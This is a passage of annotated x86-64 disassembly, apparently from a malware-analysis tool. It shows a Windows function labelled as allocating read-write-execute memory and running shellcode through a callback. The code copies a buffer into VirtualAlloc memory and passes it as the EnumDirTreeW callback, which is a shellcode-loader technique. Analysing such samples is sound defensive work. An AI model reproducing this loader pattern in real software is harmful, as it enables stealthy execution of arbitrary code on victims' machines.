mov rax, qword [rdi + 8]
mov qword [rbx + 8], rax
mov rax, qword [rdi + 0x10]
mov qword [rbx + 0x10], rax
mov qword [rdi], rsi
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], rsi
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400029a0
call fcn.14000829c
mov rax, rbx
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x1400029c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
sub rsp, 0x478
lea rcx, [rsp + 0x30]
call fcn.1400028e0
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
cmp rcx, rdx
je 0x140002a6b
sub rdx, rcx
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
mov qword [rsp + 0x470], rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
sub r8, rdx
mov rcx, rax
mov rbx, rax
call fcn.140007490
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.dbghelp.dll_SymInitialize]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [rsp + 0x50]
lea r8, str..log
lea rdx, str.C:Windows
mov rcx, rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rbx
call qword [sym.imp.dbghelp.dll_EnumDirTreeW]
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x470]
test rcx, rcx
je 0x140002a75
call fcn.14000829c
xor eax, eax
add rsp, 0x478
ret